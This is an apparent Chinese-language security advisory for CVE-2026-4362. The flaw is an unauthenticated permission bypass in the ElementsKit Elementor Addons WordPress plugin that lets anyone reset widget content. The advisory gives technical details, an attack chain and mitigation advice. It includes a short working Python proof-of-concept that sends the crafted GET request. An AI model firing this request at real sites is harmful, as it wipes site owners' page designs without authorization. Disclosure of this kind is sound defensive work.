IPBUF安全漏洞报告
English
CVE-2026-4362 CVSS 6.5 中危

CVE-2026-4362 ElementsKit插件权限绕过漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-4362
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ElementsKit Elementor Addons (WordPress Plugin)

相关标签

WordPress权限绕过数据篡改ElementsKitCVE-2026-4362无需认证

漏洞概述

该漏洞源于 WordPress 插件 ElementsKit Elementor Addons 的 `Live_Action::reset()` 函数在处理请求时严重缺失权限校验机制。由于该函数直接挂载于 `init` 钩子,未对用户身份进行验证,攻击者可利用特制的 URL 请求,通过 GET 参数触发重置操作。这将导致未经授权的用户能够将任意 `elementskit_widget` 自定义文章类型的 Elementor 内容强制覆盖为空白模板,造成严重的数据篡改和持久性破坏。

技术细节

该漏洞的核心在于插件 `modules/widget-builder/live-action.php` 文件中的 `Live_Action::reset()` 方法实现逻辑缺陷。开发者将该函数通过 `add_action('init', ...)` 注册,使其在 WordPress 初始化阶段即可被调用,且未设置任何访问控制列表(ACL)或能力检查(如 `current_user_can`)。

当攻击者向目标站点发送包含 `post`(目标文章ID)和 `action=elementor` 参数的 GET 请求时,该函数被无条件触发。函数内部逻辑会直接调用数据库更新操作,将指定 Post ID 对应的 `_elementor_data` 元数据清空或重置。由于缺乏 Nonce 验证和身份认证,任何未授权的匿名攻击者均可利用此漏洞遍历网站上的 Elementor Custom Widget ID,批量或针对性地重置页面设计。这不仅导致前端显示异常,还可能导致用户精心设计的配置永久丢失,对网站内容完整性构成严重威胁。

攻击链分析

STEP 1
信息收集
攻击者识别出目标网站使用了存在漏洞的 ElementsKit Elementor Addons 插件(版本 <= 3.8.2)。
STEP 2
构造攻击请求
攻击者构造包含特定 GET 参数的 URL,例如 `?post=1&action=elementor`,其中 `post` 参数为目标文章 ID。
STEP 3
发送恶意请求
攻击者向目标网站发送未经身份验证的 GET 请求。
STEP 4
触发漏洞
服务器端的 `Live_Action::reset()` 函数被 `init` 钩子触发,因缺少权限检查,直接执行重置逻辑。
STEP 5
数据篡改与破坏
指定 ID 的 Elementor Widget 内容(`_elementor_data`)被覆盖为空白模板,导致页面内容丢失或显示异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_url, post_id): """ PoC for CVE-2026-4362: Resets Elementor data for a specific post ID. """ # The vulnerable endpoint expects 'post' and 'action=elementor' parameters full_url = f"{target_url}?post={post_id}&action=elementor" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(full_url, headers=headers, timeout=10) # Check if the request was processed (status code might be 200) if response.status_code == 200: print(f"[+] Payload sent successfully to {full_url}") print(f"[+] Response: {response.text[:100]}...") print("[!] Check the target post content to verify if it has been reset.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL and Post ID target = "http://example.com/" pid = 1 exploit_poc(target, pid)

影响范围

ElementsKit Elementor Addons <= 3.8.2

防御指南

临时缓解措施
建议用户立即更新插件至修复版本。若无法立即更新,可通过 Web 应用防火墙(WAF)添加规则,拦截包含 `action=elementor` 和 `post` 参数的未授权 GET 请求,或者暂时禁用 ElementsKit 插件以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表